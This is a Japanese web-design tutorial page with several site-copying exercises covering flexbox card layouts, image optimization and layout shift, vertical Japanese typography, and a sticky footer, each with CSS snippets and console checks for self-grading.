HTMLの順番は全カードで固定し、CSSの flex-direction: row-reverse で見た目だけ反転する MDNは row-reverse の挙動を「開始線と終了線を入れ替えることで並びを反転する」と説明しています（MDN「Ordering flex items」・2026年8月2日取得）。つまり1と2は同じ結果を狙う別々の手段であり、両方を同じカードに掛けると反転が2回起きて元に戻ります。 これは机上の話ではありません。2026年8月2日時点の完成見本サイトを、ビューポート1280×900のChromiumで実測したところ、3枚の特徴カードの座標は次のようになりました。 カード画像／文章の左端X座標見た目1枚目（通常）20px / 578px画像が左2枚目（反転指定あり）20px / 578px画像が左3枚目（通常）20px / 578px画像が左 2枚目には反転用のクラスが付いているのに、3枚とも座標が完全に一致しています。2枚目はHTMLの書き順も入れ替わっており、そこへさらに row-reverse が掛かって、反転が打ち消し合っている状態です。クラス名が交互配置を意図しているのに画面上は交互になっていない、という食い違いがそのまま残っています。 この課題では、実際に左右が入れ替わる形をゴールにしてください。見本のコードをそのまま写すと交互になりません。推奨するのは前述の2番、つまりHTMLの順番は全カードで「画像→文章」に固定し、CSSだけで偶数枚目を反転するやり方です。書き順が揃うのでカードを増減しても壊れません。 ただしCSSで見た目を反転しても、キーボードのタブ移動の順番と読み上げの順番はHTMLに書いた順のままです。MDNも「見た目（CSS）の順序が重要な場合、スクリーンリーダーの利用者は正しい読み上げ順にアクセスできない」と明記しています（MDN「flex-direction」・2026年8月2日取得）。HTMLの順番を全カードで揃えておけば読み上げ順も一定になるので、この点でも2番が有利です。 ポイント2・CTAブロックを幅で潰さない 最後の相談セクションは「文章」と「CTAボタン」を横に並べます。ここで初級との差が出るのは、画面幅が変わったときに、どちらを縮ませてどちらを守るかを指定するという考え方です。ボタンは押す対象なので縮ませてはいけません。 役割の分け方は次の3つです。文章側に flex: 1 を与えて余白を吸わせ、min-width でそれ以上細くならない下限を決めます。ボタン側には flex-shrink: 0 を与えて縮小の対象から外します。そして親に flex-wrap: wrap を置き、下限に達したら自動的に縦積みへ折り返させます。 見本サイトで同じ測定をすると、この仕組みが数字で見えます。ビューポート幅を変えながらCTAボタンの実寸を測ると、1280pxでも375pxでも252×70pxのまま変わりません。一方で文章ブロックは、幅800pxのとき500pxから468pxへ縮んでいます。縮んでいるのは文章側だけ、という配分が意図どおり効いている証拠です。 折り返しが起きる地点も測れます。見本は768px以下でメディアクエリが縦積みに切り替えるため、そのままでは min-width の効果が見えません。検証ツールで768pxのメディアクエリを外して測り直すと、幅620pxではまだ横並び（文章288px）、幅610pxで折り返しに変わりました。文章の下限280pxに届かなくなった時点で折り返す、という挙動がそのまま出ています。「画面幅がいくつになったら」ではなく「中身が入らなくなったら」で切り替わるのがこの書き方の利点です。 HTMLの骨格をどう組むか 完成コードは載せません。ここで示すのは特徴カード部分の入れ子だけです。3枚とも同じ形で書き、クラスも同じにします。反転用のクラスは付けません。 <div class="feature-list"> <article class="feature-card"> <div class="feature-image"><img ... /></div> <div class="feature-content"><h4>...</h4><p>...</p></div> </article> <!-- 2枚目・3枚目も全く同じ順番で書く --> </div> そのうえで、交互配置と縦積みの切り替えをCSS側だけで行います。要になるのは次の4行です。メディアクエリの中で、反転を指定したときと同じセレクタを使って上書きしている点に注目してください。理由は次の章で説明します。 .feature-card { display: flex; align-items: center; } .feature-card:nth-child(even) { flex-direction: row-reverse; } @media (max-width: 768px) { .feature-card, .feature-card:nth-child(even) { flex-direction: column; } } 残りのセクション（ヒーロー、利用者の声、相談、フッター）は、この考え方の応用で組めます。利用者の声のカードも左右交互ですが、アイコンと本文という2要素の並びなので、特徴カードと同じ形でそのまま通用します。 つまずきポイント 以下は、この課題を実際に組んで再現できた症状だけを挙げています。 症状原因直し方カードが交互にならず全部同じ並びになるHTMLの書き順の入れ替えと row-reverse を両方掛けて打ち消しているどちらか一方にする。書き順は全カード揃え、CSSだけで反転する768px以下で1枚だけ横並びのまま残り、文章が左端で切れる:nth-child(even) の詳細度がメディアクエリ内の指定に勝っているメディアクエリ側も同じセレクタを並べて上書きするCTAボタンが細くなって文字が2行に折れるボタンもFlexアイテムとして縮む対象になっているボタン側に flex-shrink: 0 を指定する文章が細い1列のまま折り返さない文章側に幅の下限がないflex: 1 と一緒に min-width を指定する 2番目が中級らしい引っかかりどころなので補足します。CSSの詳細度では、クラスと擬似クラスが同じ列で数えられます（MDN「Specificity」・2026年8月2日取得）。したがって .feature-card:nth-child(even) はクラス列が2、.feature-card は1です。詳細度が高いほうが勝つため、あとから書いたメディアクエリでも上書きできません。 この状態を実際に作って測ると、幅700pxでも幅320pxでも2枚目だけが row-reverse のまま残り、文章ブロックの左端が-109pxになりました。画面の左外へはみ出しているという意味です。ここで紛らわしいのは、左方向のはみ出しでは横スクロールバーが出ない点です。スクロールバーが無いから大丈夫、と判断せず、文字が切れていないかを目で確認してください。 完成条件・自分で合否を判定する 「なんとなく似た」で終わらせないために、判定できる形にした合格ラインを5つ置きます。すべてブラウザの検証ツールだけで確認できます。カッコ内は見本サイトを実測した値です。 判定項目合格の状態外れたら疑うこと特徴カードの並び（幅1280px）画像が左・右・左と入れ替わる書き順とCSSの二重反転幅768px以下の縦積み3枚とも算出値のflex-directionがcolumnセレクタの詳細度幅320pxの横溢れscrollWidthとclientWidthが同じ値（見本は320と320）固定px幅を持つ要素CTAボタンの実寸画面幅を変えても寸法が変わらない（見本は252×70px）ボタン側のflex-shrinkキーボード操作TabキーだけでナビとボタンをたどれるHTMLの書き順そのもの 3番目の横溢れは、検証ツールのコンソールに次の1行を貼れば数字で出ます。2つの値が一致していれば横方向のはみ出しはありません。ずれていたら、幅を px で固定した要素か、画像の最大幅指定の抜けを探してください。 const de = document.documentElement; console.log(de.scrollWidth, de.clientWidth); 2番目の縦積みは、カードを選択して算出値のスタイルで flex-direction を見るのが確実です。3枚のうち1枚だけ値が違っていれば、その1枚に効いているセレクタが上書きを跳ね返しています。ここまで分かれば原因は絞れているので、詳細度の比較だけして次へ進んでください。 ### [模写上級 #003 | ポートフォリオサンプルサイトーpagepiling](https://codequest.work/advanced003/) このサイトのポイント 1. ページピリング（Page Piling）の実装 スクロール操作でセクションが1画面ずつ切り替わるデザインを採用。 各セクションが明確に区切られており、ユーザーの視覚的なナビゲーションを強化。 一覧性と視覚的なインパクトを両立。 2. ローディング時のシャッターアニメーション サイト読み込み時に画面全体がシャッターのように動くアニメーションを表示。 視覚的な興味を引きつけると同時に、ユーザーの待ち時間を短く感じさせる効果。 モダンな印象を与え、サイト全体のデザイン品質を向上。 3. スムーズなスクロールアニメーション ページ移動がスムーズで、セクション間の切り替えに統一感を持たせている。 ジャンプせず自然な動きがユーザー体験を向上。 4. レスポンシブ対応 スクロールとレイアウトが、デバイスサイズに応じて適切に最適化されている。 モバイルやタブレットでも違和感なく動作。 5. モダンでシンプルなデザイン ユーザーが迷うことなく、コンテンツに集中できる設計。 過度な装飾を避け、ページピリングとシャッターアニメーションにフォーカス。 模写サンプルサイト　　advanced003 よくある質問（FAQ） Q. PagePiling.jsとは何ですか？ PagePiling.jsは、Webページをセクション単位でフルスクリーン表示し、スクロールで次のセクションにスナップする（パイル=積み重ね）ライブラリです。fullPage.jsと似た機能を持ちますが、セクションが上にスライドして重なっていくような独特のトランジション効果が特徴です。ポートフォリオサイトやプレゼンテーション型のページに適しています。 Q. フルスクリーンセクションのスナップスクロールをCSS標準で実装できますか？ CSS Scroll Snap（scroll-snap-type: y mandatory）を使えば、ライブラリなしでスナップスクロールを実装できます。コンテナにscroll-snap-type、子要素にscroll-snap-alignを設定するだけで動作します。PagePiling.jsのような重なりのトランジション効果は再現できませんが、シンプルなスナップスクロールであればCSS標準機能で十分対応可能です。 ### [模写上級 #002 | 写真館サイトで学ぶ画像最適化](https://codequest.work/advanced002/) 模写上級 #002 は、写真館のサンプルサイト「Lumiere Studio」を写しながら、写真を大量に並べるページの組み方——画面幅ごとの画像の出し分け・読み込ませる順番・表示比率の固定——を身につける課題です。見た目を似せるだけなら中級までで足ります。この課題が上級なのは、幅を変えても崩れないことと読み込み中に文字が飛ばないことまで含めて合格にするからです。 難易度上級所要時間目安6〜8時間（見本の実装量から見積もった目安で、計測値ではありません）使う技術HTML / CSS Grid / picture・srcset / object-fit・aspect-ratio作るもの写真館の1ページ完結型サイト（7セクション） 写す対象の構成を先に分解し、画像まわりで手が止まりやすい4つの手順を順に扱います。最後にブラウザのコンソールで合否が出せる完成条件を置いてあるので、「なんとなく似ている」で終わらせずに済みます。仕様の出典は MDN と web.dev から2026年8月2日に取得しました。 この課題で作るもの｜写真館サイト「Lumiere Studio」 写す対象は次のページです。ブラウザで開き、幅を変えながら眺めるところから始めてください。 模写サンプルサイト　Lumiere Studio - Photography（advanced002） 上の画像は上級シリーズであることを示すバッジで、完成見本ではありません。完成見本は先ほどのサンプルサイトそのものです。ページは7つのブロックでできています。 セクション主な中身画像まわりの要点ヘッダーロゴと4項目のナビ。768px未満はハンバーガー画像なしヒーロー画面いっぱいの写真に見出しを重ねる最初に見える画像。遅らせないコンセプト左に文章、右に縦位置をずらした写真2枚縦長の比率を保つギャラリー写真6枚。1枚は縦2マス、1枚は横いっぱいマスの数え方とトリミングプラン写真つきの料金カード3枚3枚とも同じ比率に揃えるCTA背景写真の上にボタン2つ背景も1枚の画像フッターロゴ・ナビ・住所・SNSアイコンアイコンはインラインSVG 見本を丸写しするだけでは足りない理由 見本サイトを実ブラウザ（Chromium・2026-08-02）で開いて数えたところ、13枚ある img のうち width と height を書いてあるものは0枚、srcset も0枚、picture 要素は0個、loading 属性も0枚でした。見本はレイアウトの手本であって、画像の指定の手本ではありません。 そこでこの課題の到達点は、見本と同じ見た目を作ったうえで、見本には書かれていない画像の指定を自分で足すところに置きます。写真素材は見本と同じ Unsplash の URL をそのまま使えます。 手順1｜画面幅で画像を出し分ける（picture と srcset） 出し分けの道具は2つあり、用途が違います。MDNの picture 要素のリファレンス（2026-08-02取得）は picture の用途を「アートディレクション（幅ごとに違うトリミングを出す）」と「対応していない形式の代替」とし、高解像度ディスプレイ向けの出し分けだけが目的なら picture ではなく img の srcset を使うことを明記しています。 形式の切り替えは picture の出番です。source を上から順に見て、対応していない形式は飛ばされ、最後の img が受け皿になります。 <picture> <source type="image/avif" srcset="gallery-01.avif"> <source type="image/webp" srcset="gallery-01.webp"> <img src="gallery-01.jpg" alt="ウェディング撮影" width="800" height="1000"> </picture> alt・width・height は picture ではなく 中の img に書きます。picture は入れ物にすぎず、選ばれた画像は img の場所に表示されるためです。 sizes を省くと大きすぎる画像が来る 同じ絵をサイズ違いで用意するときは img の srcset を使い、幅記述子（400w のような書き方）と sizes をセットにします。MDNの img 要素のリファレンス（2026-08-02取得）によると、sizes を書かなかった場合の既定値は 100vw、つまり「画面幅いっぱいで表示する」とブラウザに伝えたことになります。 実際に確かめました。400w と 1200w を srcset に並べ、CSSで表示幅を200pxに固定した img を、ビューポート幅1400px・端末ピクセル比1で開きます。sizes なしでは 1200w が選ばれ、sizes="200px" を足すと 400w が選ばれました。小さく並べる画像ほど、この差が無駄な通信になります。 <img src="gallery-01-800.jpg" srcset="gallery-01-400.jpg 400w, gallery-01-800.jpg 800w, gallery-01-1600.jpg 1600w" sizes="(max-width: 767px) 50vw, 33vw" width="800" height="800" alt="ファミリー撮影"> sizes はギャラリーの段組みと同じ考え方で書きます。767px以下は2列なので画面のおよそ半分、768px以上は3列なのでおよそ3分の1、という対応です。sizes が効くのは幅記述子（w）を使ったときだけで、2x のような密度記述子とは混ぜられません。詳しくは MDN の レスポンシブ画像ガイド（2026-08-02取得）にあります。 手順2｜遅らせてよい画像と、遅らせてはいけない画像 img の loading="lazy" は、その画像が表示領域に近づくまで読み込みを先送りする指定です。写真を大量に並べるこの課題では効果が大きい反面、付ける場所を間違えると逆に表示が遅くなります。 web.dev の 遅延読み込みの解説（2026-08-02取得）は「表示領域に入っている可能性が高い画像、とくにLCP画像を遅延読み込みしないこと」と注意し、LCP最適化の記事（同日取得）は「LCP画像を決して遅延読み込みしてはいけない。必ず不要な読み込み遅延を生む」とさらに強く書いています。同記事は fetchpriority="high" を使う手も挙げつつ、高優先度にする画像は1〜2枚までにすべきだとしています。 この課題では、ヒーローの背景写真には loading を付けず（＝既定の即時読み込みのまま）、ギャラリーの下のほう・プランのカード・CTAの背景写真には lazy を付けるという切り分けになります。境目は「最初の画面に見えているかどうか」です。 手順3｜読み込み中に文章を動かさない（CLS対策） 画像が届いた瞬間に下の文章が押し下げられる現象を、レイアウトシフトと呼びます。Core Web Vitals は現在 LCP・INP・CLS の3つで、視覚的な安定性を測るのが CLS です。web.dev のCLS解説（2026-08-02取得）は良好の基準を0.1以下、0.25超を不良としています。応答性の指標は2024年3月12日に FID から INP へ置き換わっているので、古い記事の FID は現行の指標ではありません（出典：web.dev の切り替え告知・同日取得）。 width と height を書くと何が起きるか MDNの img リファレンスには、height と width を書くと読み込み前にブラウザが縦横比を計算でき、その比率で必要な場所を先に確保するため、レイアウトシフトを減らす、あるいは防げると書かれています（2026-08-02取得）。CSS側で height: auto にしておくのが前提です。 効き目を数字で確かめました。800×600の画像をわざと0.8秒遅らせて返すテストページを、390×844のビューポートで開いた結果です。 画像の書き方実測CLS判定width・height なし0.4941不良（0.25超）width="800" height="600" を追加0良好属性なし・親要素にCSSで aspect-ratio0良好 3行目のとおり、枠の大きさがCSSで先に決まっていれば属性が無くてもシフトは起きません。見本サイトを同じ方法で測ると0.0033で、枠を aspect-ratio と固定高さで決めているためほぼゼロでした。それでも属性を書く価値があるのは、CSSが枠を決めていない画像が残るからです。両方やっておくのが安全側です。 自分のページのCLSは、開発者ツールのコンソールに次を貼れば測れます。buffered: true があるので、読み込み後に貼っても記録済みのシフトを拾えます。 let cls = 0; new PerformanceObserver((list) => { for (const e of list.getEntries()) { if (!e.hadRecentInput) cls += e.value; } console.log('CLS', cls.toFixed(4)); }).observe({ type: 'layout-shift', buffered: true }); 手順4｜比率を固定してトリミングする 写真の縦横比はバラバラでも、並べたマス目は揃っていてほしい。両立させるのが aspect-ratio で枠を作り、object-fit で中身を合わせるやり方です。MDNの object-fit のリファレンス（2026-08-02取得）によると、object-fit は img や video のような置換要素の中身の収め方を決めるプロパティで、既定値の fill は枠に合わせるために中身を引き伸ばします。 16:6の枠に4:3の写真を入れて確かめると、object-fit を書かない状態では枠の縦横比が2.667、元画像は1.333——横に約2倍引き伸ばされていました。cover を指定すると、はみ出した部分が切り取られて比率のズレは消えます。位置の調整は object-position で行い、どちらも picture ではなく img に指定します。 ギャラリーの骨格は次の形です。1マスを正方形にしておき、大きく見せたいカードだけまたぎ方を変えます。 .gallery-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 1rem; } .gallery-item { aspect-ratio: 1; overflow: hidden; } .gallery-item img { width: 100%; height: 100%; object-fit: cover; } @media (min-width: 768px) { .gallery-grid { grid-template-columns: repeat(3, 1fr); } .gallery-item--large { grid-row: span 2; aspect-ratio: auto; } .gallery-item--full { grid-column: span 3; aspect-ratio: 3 / 1; } } 大きいカードで aspect-ratio: auto に戻すのは、縦2マスぶんの高さを行に任せるためです。 ### [模写中級 #002 | 茶屋サイトで学ぶ縦書きと日本語組版](https://codequest.work/intermediate002/) 模写中級 #002 は、和風の茶屋サイトを題材に、縦書きの見出し・単位なしの行間・日本語の折り返しという3つを自分の手で組む課題です。横並びや中央寄せといったレイアウトの技術ではなく、日本語の文字そのものをどう置くかで見た目が決まる題材を選んでいます。 #001（ポートフォリオ）はグリッド、#003（ジム）は写真主体のセクション構成が主題です。この #002 だけは日本語タイポグラフィと縦のリズムが主題なので、順番に進めても内容が重複しません。 項目内容難易度中級所要時間目安4〜6時間（見本の実装量から見積もった目安で、計測値ではありません）使う技術HTML／CSS（Flexbox・writing-mode・メディアクエリ）／スライドショーを付けるなら素のJavaScript完成見本TABISAKI茶屋（別タブで開きます）ゴール見本と同じ縦のリズム（行間・字間・折り返し）を、自分で判定できる状態で再現する この課題で作るものと、作る順番 作るのは1枚もののトップページで、上から順にヘッダー・ヒーロー・お知らせ・当茶屋について・道案内・フッターの6ブロックです。この記事に完成コードは載せません。骨格だけを書き出すと次のようになります。 <header class="header"> ロゴ ＋ 3項目のナビ（ヒーローに重ねる） <main> <section class="hero"> 背景写真 ＋ 縦書きの h1 <section class="news"> 日付と本文が横に並ぶお知らせ <section class="about"> リード文 ＋ 写真2枚を左右に並べる <section class="access"> 地図エリア ＋ 営業時間の表 </main> <footer class="site-footer"> ロゴ ＋ ナビ ＋ コピーライト 作る順番 上から順に作るのがいちばん早いです。縦書きの見出しはページ全体の文字設定が決まってからでないと詰まり具合を判断できないため、body の基本設定を書いた直後にヒーローへ入ってください。 順番／セクション作るものこの段階で決まること1. body の基本設定明朝系のフォントと、単位なしの行間ページ全体の縦のリズム2. ヘッダーロゴとナビを両端に置き、ヒーローに重ねる重なりの前後関係3. ヒーロー画面の高さいっぱいの背景写真と縦書きの見出し字間と行間の見え方4. お知らせ日付と本文が横に並ぶ行を積む狭い幅で縦積みに切り替える判断5. 当茶屋について写真2枚を左右half幅で並べる画像の切り抜き方6. 道案内地図エリアと、曜日ぶんの列を持つ営業時間の表狭い幅で表をどう逃がすか7. フッター中央寄せのロゴ・ナビ・コピーライト折り返したときの間隔 ヘッダーはページ最上部に絶対配置され、ヒーローの写真に白文字で乗ります。ヘッダーを先に置いてからヒーローを敷くと、重ね順の調整が1回で済みます。写真は見本と同じものでなくてかまいません。 和風レイアウトの土台になる日本語タイポグラフィ 和風に見えるかどうかは、色や背景テクスチャよりも行間・字間・文字の向きで決まります。以下の数値はすべて、完成見本を Chrome 150（ヘッドレス）で実測したものです（実測日: 2026-08-02）。 行間は単位なしの数値で指定する 見本は body に line-height: 1.8 と単位なしで書いています。文字サイズ16pxのとき計算後の行間は28.8pxでした。ここを 1.8em に書き換えると、見た目は同じでも子孫要素の挙動が変わります。MDN は「多くの場合、これが line-height を設定する望ましい方法で、継承による予期しない結果を避けられる」と単位なしを推奨しています。親を font-size: 20px として測ると次のとおりです。 親の指定親の計算後の行間子（40px）の計算後の行間line-height: 1.8（単位なし）36px72px（子の文字サイズ×1.8）line-height: 1.8em36px36px（親から絶対値のまま継承） 単位を付けると計算結果の長さがそのまま子へ渡ります。見出しだけ文字を大きくしたときに行が重なるのはこれが原因です。出典は MDN: line-height（2026-08-02取得）です。 縦書きは writing-mode と text-orientation の組み合わせで決まる ヒーローの見出しは縦書きで、見本の計算後の値は writing-mode: vertical-rl と text-orientation: upright でした。 writing-mode は行が流れる向きと次の行を置く側を決めます（vertical-rl は上から下へ流れ、次の行は左）。text-orientation は横書き用の文字を寝かせるか立てるかを決めます。text-orientation の初期値 mixed は横書き用の文字を時計回りに90度回します。日本語だけなら差が出ませんが、店名にローマ字や数字を入れた瞬間に寝るので、和風サイトでは upright を明示するのが定石です。出典は MDN: writing-mode と MDN: text-orientation（いずれも2026-08-02取得）です。 字間は最後の1文字の後ろにも入る この課題でいちばん引っかかるのがここです。letter-spacing は「文字と文字のあいだ」ではなく、各文字の後ろに空きを足すように働きます。11文字の日本語（font-size: 20px）で幅を測ると、指定なしで220px、0.3em（＝6px）で286pxでした。差の66pxは6px×11文字ぶんです。文字間だけなら10ぶん＝60pxのはずなので、行の最後の文字の後ろにも1つぶん残っています。 横書きなら右端に空きが残るだけですが、縦書きではこの空きが下端に出ます。見本のヒーロー見出し（幅1200px時・font-size 24px・letter-spacing 7.2px）で内容の高さを測ると、指定を0にしたとき168px、0.3emのとき218.41pxでした。差の50.4pxは7.2px×7文字ぶんで、いちばん長い行の文字数と一致します。中央寄せするとこの空きも含めて中央に置かれるため、文字は見た目で3.6px（0.15em）上にずれます。直し方は、見出しの文字を1枚包んで末尾ぶんを相殺することです。 /* 修正前: 末尾の 0.3em ぶんだけ文字が上にずれて見える */ .hero h1 { letter-spacing: 0.3em; } /* 修正後: 内側の要素で末尾ぶんを打ち消す */ .hero h1 > span { margin-bottom: -0.3em; } この修正を当てて測り直すと、見出しの内容が3.6px下に動き、上下の余白が揃いました。0.15emぶんきっかり動くかどうかが、直せたかどうかの判定になります。定義は MDN: letter-spacing（2026-08-02取得）を参照してください。同じページには「letter-spacing が0以外のとき、標準合字などの任意の合字は適用されない」という注記もあります。 日本語の折り返しと禁則処理 先に結論を書きます。日本語だけの文章なら、禁則処理のためにCSSを足す必要はありません。ブラウザが既定で処理します。手当てが要るのは、英数字が連続したときです。 幅200pxの枠に「ふと立ち止まり、味わう和のひととき。日本の心、茶の香りと共に。」を入れ、line-break を auto／strict／anywhere と変えて各行の末尾文字を調べたところ、結果はいずれも同じで、行末に読点や句点は来ませんでした。word-break: break-all でも変わりません。一方、同じ枠に長いURLを含む文を入れると、既定では内寸200pxに対して中身が405pxになり、はみ出しました。指定を変えた結果は次のとおりです。 指定実測（枠200px）使いどころ指定なし中身405px・はみ出す日本語だけの本文ならこれで十分overflow-wrap: anywhere中身200px・収まる収まらないときだけ切る。本文向きword-break: break-all中身200px・収まる常にどこでも切る。日本語の途中でも切れるword-break: keep-all中身405px・はみ出したままこの用途では効かない（CJKの改行を止める指定） お知らせや住所欄にはURLや英語の店名が入りやすいので、overflow-wrap: anywhere を本文の段落に当てておくのが無難です。MDN は break-all について「本来なら1語まるごと次の行に送れば済む場合でも、あふれるちょうどその位置で切る」と説明しており、見た目が荒れやすい点に注意が要ります。出典は MDN: overflow-wrap、MDN: word-break、MDN: line-break（いずれも2026-08-02取得）です。 完成条件（自分で判定する基準） 「和風に見える」は判定になりません。次の5つが満たせていれば合格です。開発者ツールのコンソールに次を貼ると、1〜4をまとめて確認できます。完成見本のページで実行すると fontSize: "16px" / lineHeight: "28.8px" / writingMode: "vertical-rl" / textOrientation: "upright" / pageScrollW: 305 / windowW: 320 / tableScrolls: false が返りました（幅320px・2026-08-02実測）。 const cs = el => getComputedStyle(el); const h1 = document.querySelector('.hero h1'); const w = document.querySelector('.hours-wrapper'); console.table({ fontSize: cs(document.body).fontSize, lineHeight: cs(document.body).lineHeight, writingMode: cs(h1).writingMode, textOrientation: cs(h1).textOrientation, pageScrollW: document.documentElement.scrollWidth, windowW: innerWidth, tableScrolls: w.scrollWidth > w.clientWidth }); 行間が文字サイズの1.8倍。lineHeight が fontSize の1.8倍（16pxなら28.8px）。外れたら line-height に px や em を付けていないかを疑う。 見出しが縦方向に流れ、英数字も正立する。writingMode が vertical-rl、textOrientation が upright。外れたら text-orientation が初期値の mixed のままかを疑う。 幅320pxで横スクロールバーが出ない。pageScrollW が windowW 以下（見本は320px幅で305px）。外れたらヒーローの左右パディングか営業時間の表を疑う。 営業時間の表だけが横に流れる。tableScrolls が true で、かつ3も満たす。ここは見本そのものが false を返す箇所で、表に最小幅が無いためスクロールせずセルが潰れます。 ### [模写準中級 #004 | ページ最下部に貼り付くフッター](https://codequest.work/html-mosha-footer-004/) フッターの模写でつまずくのは、カラムを横に並べる部分ではありません。並べ終わったあとに「本文が短いページだと、フッターが画面のまん中で止まる」ところです。 模写準中級 #004 は、複数カラムのフッターを組んだうえで、本文が1行しかないページでもフッターがビューポートの最下部に到達する状態まで作りきる課題です。横並びの再現だけでは合格になりません。完成コードの全文は載せず、骨格と、書いたものが条件を満たしているか自分で判定する手順だけを置いています。 この課題で作るもの 項目内容難易度準中級所要時間目安2〜3時間使う技術HTML / CSS（Flexbox または Grid）作るもの4カラムのフッター＋コピーライト行合格の核心本文が1行でもフッターが最下部に来る 所要時間は実装量から見積もった目安で、計測値ではありません。模写元は会社概要・サービス・サポート・お問い合わせの4カラムで、幅が足りなくなると折り返し、狭い画面では1列になります。 模写サンプル　　Flexboxフッター（elementary 004） 色や文言は自分で決めて構いません。ただしサンプルはフッター単体を置いたページなので、模写するときは必ずヘッダーと本文を持つ1枚のページに組み込んでください。核心はフッター単体ではなく、ページ全体の縦方向の組み立てにあります。 完成条件（合格ライン） 判定は目視ではなく数字で行います。自分のページをブラウザで開き、開発者ツールのコンソールに次の4つを順に貼ってください。 判定1｜本文が1行でもフッターが最下部に来る // 本文の段落を1つだけ残した状態で実行する const f = document.querySelector('footer').getBoundingClientRect(); console.log(Math.round(f.bottom), window.innerHeight); 合格ライン: 2つの数字が一致すること（1px程度の差は許容）。左がフッターの下端、右がビューポートの高さです。左が小さければ画面の途中で止まっています。外れたら、ページ全体を包むラッパーに高さの土台（min-height）があるかを疑ってください。 判定2｜本文が長いとき最後の行が隠れない // 本文を画面に収まらない量まで増やし、最下部までスクロールしてから実行する const ps = [...document.querySelectorAll('main p')]; const last = ps[ps.length - 1].getBoundingClientRect(); const f = document.querySelector('footer').getBoundingClientRect(); console.log(last.bottom <= f.top); 合格ライン: true が出ること。false なら本文の最後の行がフッターの下敷きになっています。外れたら、フッターに position: fixed を使っていないかを疑ってください。 判定3｜狭い画面で横スクロールが出ない // 開発者ツールの端末エミュレーションで幅を320pxにして実行する console.log(document.documentElement.scrollWidth, window.innerWidth); 合格ライン: 2つの数字が一致すること。左が大きければ、どこかが画面幅からはみ出しています。外れたら、カラムに box-sizing: border-box が効いているかを疑ってください。 判定4｜折り返した最後のカラムが横長にならない // カラムが2行に折り返す幅にして実行する（クラス名は自分のものに置き換える） console.log([...document.querySelectorAll('.footer-col')] .map(e => Math.round(e.getBoundingClientRect().width))); 合格ライン: 並んだ数値がすべて同じくらいであること。最後の1つだけ極端に大きければ、折り返した行の余白をその要素が独り占めしています。外れたら、flex の1つ目の値（flex-grow）を疑ってください。 実装の骨格 ページ全体をラッパーで包み、その中を3段に分けるのが基本形です。 <body> <div class="page"> <header>...</header> <main>...</main> <footer class="site-footer"> <div class="footer-inner"> <div class="footer-col">...</div> <div class="footer-col">...</div> <div class="footer-col">...</div> <div class="footer-col">...</div> </div> <p class="copyright">...</p> </footer> </div> </body> カラムを包む .footer-inner をもう1枚挟んでいるのが要点です。コピーライトをカラムと同じ階層に置くと、それが5つ目のカラムとして扱われ、折り返しが崩れます。 最下部に置く方法は2つある MDNのレイアウトレシピ集は、この形を「コンテンツが短いときはビューポート下端に貼り付き、長いときは通常どおり本文の下へ押し下げられること」と定義し、Grid版とFlexbox版の2つを挙げています。 html, body { margin: 0; } /* Grid版: 中段だけを伸ばす */ .page { min-height: 100dvh; display: grid; grid-template-rows: auto 1fr auto; } html, body { margin: 0; } /* Flexbox版: フッターの上の余白を自動で埋める */ .page { min-height: 100dvh; display: flex; flex-direction: column; } .site-footer { margin-top: auto; } Grid版は3段の役割がそのままCSSに現れ、あとから段を増やしても壊れにくい書き方です。Flexbox版が使っているのは、主軸方向の余白をauto marginで吸わせる性質で、MDNは「主軸には justify-self が無いので、代わりにauto marginで個別に位置を寄せられる」と説明しています。どちらか片方でよいので、両方は書かないでください。出典は MDN「Sticky footers」と MDN「Aligning items in a flex container」（いずれも2026-08-02取得）です。 カラムの折り返しはflexの1つ目の値で決まる .footer-inner { display: flex; flex-wrap: wrap; gap: 16px; } .footer-col { flex: 0 1 22%; /* grow / shrink / basis */ box-sizing: border-box; } 1つ目の値が flex-grow です。ここを1にすると、折り返して1つだけになった行でその要素が余白を全部吸い、横長になります。基準幅を保ちたいなら0にします。狭い画面で1列にしたいときは、メディアクエリで3つ目の値（flex-basis）を100%に変えるだけで済みます。 100vhではなく100dvhを使う理由 スマートフォンのブラウザは、スクロールに応じてアドレスバーを引っ込めたり出したりします。表示領域の高さが1つに定まらないため、CSSはビューポート高さの単位を3種類に分けています。 単位基準にする高さ性質svhブラウザUIが出ているときの小さい方固定・安定。はみ出しにくいlvhブラウザUIが隠れたときの大きい方固定・安定。UI出現時に隠れうるdvhそのときの実際の高さ可変。ぴったり収まる 問題は vh がどれに当たるかです。MDNは「現時点で、既定のビューポート単位（vh、vwなど）はすべて、大きい方の対応単位（lvh、lvwなど）と等価である」と明記しています。つまり 100vh はアドレスバーが引っ込んだ状態の高さで、アドレスバーが出ている間はその分だけ画面からはみ出します。1行しか本文が無いのに縦スクロールが出る、という形で表面化します。 そこで実際の高さに追従する dvh、または小さい方で安全側に倒す svh を使います。ただしMDNは、dvhにはスクロール中に寸法が変わってUIが揺れる副作用があるとも書いています。はみ出さないことを最優先したい箇所では svh のほうが素直です。 対応状況は、Safari 15.4（2022-03-14）、Firefox 101（2022-05-31）、Chrome 108（2022-11-29）で、svh・lvh・dvhが同時に入っています。Web Platform Status では Baseline の「widely available」です。出典は MDN「<length>」と Web Platform Status「viewport-unit-variants」（いずれも2026-08-02取得）です。ただし実機でアドレスバーが伸縮したときの見え方はこの記事では検証していません。手元のスマートフォンで単位を入れ替えてスクロールすれば、違いはすぐ分かります。 フッターをposition: stickyにしてはいけない理由 「最下部に貼り付く」と聞くと position: sticky を思いつきますが、別物です。MDNの定義では、stickyな要素は「包含ブロックが指定のしきい値を越えるまでは相対配置として扱われ、越えた時点で固定された状態になる」ものです。スクロールが発生しない短いページには、越える機会そのものがありません。 ビューポート390×700px、フッターの高さ64pxで測った結果が次です。 指定本文1行のときの下端本文が長いとき何も指定しない144px（画面下端は700px）本文の下に正しく続くposition: sticky; bottom: 0144px（変わらない）本文の2段落が常時隠れるposition: fixed; bottom: 0700px最下部の2段落が隠れるmin-height: 100dvh ＋ Grid700px本文の下に正しく続くmin-height: 100dvh ＋ Flex700px本文の下に正しく続く stickyは本文が短いときの位置をまったく変えず、しかも本文が長いときは読んでいる間ずっと画面下を占領します。fixedは短いページでは下端に来ますが、こんどは最下部の本文が下敷きになります。どちらも2つの要件を同時には満たしません。計測は Playwright の Chromium 151.0.7922.34、2026-08-02。stickyの定義の出典は MDN「position」（同日取得）です。 footer・address・navの使い分け フッターは住所・リンク一覧・コピーライトが同居する場所です。全部 div で組んでも見た目は同じですが、仕様上の線引きは決まっています。 ### [模写準中級 #003 | Gridセクション](https://codequest.work/html-mosha-section-003/) 